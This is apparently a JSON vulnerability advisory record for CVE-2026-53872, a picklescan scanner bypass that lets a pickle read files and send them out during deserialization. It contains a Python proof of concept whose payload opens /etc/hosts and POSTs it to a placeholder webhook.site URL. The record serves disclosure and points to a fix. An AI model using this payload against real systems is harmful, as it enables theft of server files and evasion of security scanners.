{"id":"CVE-2026-53872","aliases":["GHSA-9726-w42j-3qjr","PYSEC-2026-1787"],"url":"https://o3.security/vulnerability/CVE-2026-53872","summary":"picklescan - Arbitrary File Read via Unsafe Pickle Deserialization","details":"### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n    def __reduce__(self):\n        return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n    def __reduce__(self):\n        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n    pickle.dump(Exfiltrate(), f)\n```\n\n<img width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" />\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.","published":"2026-06-17T15:05:02.203Z","modified":"2026-08-12T03:51:37.248552552Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"picklescan","fixedVersion":"0.0.35"}],"fix":{"url":"https://github.com/mmaitre314/picklescan/pull/55","label":"mmaitre314/picklescan#55"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53872.json"},{"type":"ADVISORY","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53872"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/pull/55"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.248552552Z"}}